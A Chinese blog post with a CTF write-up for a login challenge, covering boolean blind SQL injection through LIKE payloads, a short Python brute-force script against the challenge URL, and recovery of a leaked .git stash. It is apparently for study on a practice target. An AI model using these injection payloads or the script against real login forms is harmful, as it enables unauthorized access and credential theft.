[百度杯] 十月场 登陆 writeup

原创

Flyour 于 2018-04-17 11:13:43 发布 1763 收藏

分类专栏： ctf 文章标签： git泄漏 布尔盲注

c26老哥的视频教程十分的详细了，这里我主要说一下自己在这道题里踩到的坑，避免下次再犯。
视频链接： http://www.ichunqiu.com/ourse/56093

1、登陆步骤

先试一了以下万能密码 admin' or '1'='1 发现有两种报错响应，“用户名不存在”和“密码错误”，明显的是布尔值盲注。很开心，哪脚本跑一下，发现mid, substr, left ,search 等很多函数都不能使用，当时就很崩溃，又找不到绕过的方法。然后看c26老哥的视频，发现他采用了 regexp 正则表达式的方式进行注入。然后我就用他的思路，试了一下like方法。发现like方法也可以，类似：admin' or database() like 'c%' ;# 这样的。但是不能用search怎么找字段名呢？看视频知道，

```
<html>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<head>
   <title>Login</title>
</head>

   <form action="login.php" method="post">
   用户名: <input type="text" name="username" class="user_n3me">
   密码:   <input type="password" name="password" class="p3ss_w0rd">
   <input type="submit" value="提交">
   </form>
</body>
</html>
```

观察网页源码，尝试用两个input的class名作为数据库的字段名。真是好思路啊。
然后就拿到了名称和密码，脚本如下：

```python
import string
import requests


url = 'http://b507d5c3421f4533a1546f7239ccf227210748 58f4924a1a.game.ichunqiu.com/Challenges/login.php'
headers = {'User-Agent': "Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0"}
payloads = string.ascii_letters + string.digits
temp = ''
for i in range(40):
    print("hello")
    for p in payloads:
        payload = temp + p
        name = "admin' or user_n3me like '{}%' ;#".format(payload)
        data = dict(username=name, passwrod='test')
        res = requests.post(url, headers=headers, data=data)
        if (len(res.content) == 12):
            temp = temp + p
            print(temp.ljust(32, '.'))
            break
```

2、git泄漏

登陆之后，根据页面显示发现是git泄漏，这里觉得ctf题里面无论是多么奇怪的字符串，都会有它特殊的含义。

然后利用脚本还原git库，我先试了以下rip-git，结果是下载不完整，没有关于falg的信息。根据视频里的提示，我们访问/ctfg1t/refs/stash 的到一个字符串，然后根据这个字符串进行下载，最后找到了有关flag信息的文件，那到底是怎么回事呢？
其实题目里有提示，“缓存”， git stash 命令会为跟踪已修改的文件建立一次特殊的commit，这次”commit’不能在git log 中显示，不作为正式的commit, 但会作为stash被记录在stash栈里面。这样，如果遇到紧急bug，就会先stash 当前的工作，然后回退到之前的commit， 进行修改，然后stash pop 恢复之前的工作。避免了提交新的commit 导致污染提交记录。
我们到stash里面的commit文件后，根据里面的内容找到tree文件，然后再找到blob文件，得到关于flag的信息，如果不明白什么叫commit文件，tree文件，blob文件，可以看这篇博客：https://blog.csdn.net/i_enum/article/details/50557367
但是这样真的很麻烦，然后我在github上找了一个其他的脚本，用着不错，可以把整个git库都下载下来，
链接：https://github.com/BugScanTeam/GitHack 注意是python2
然后操作就一样了，你可以直接git cat-file -p 所有对象文件，也可以根据stash的信息，一步步找到需要的文件。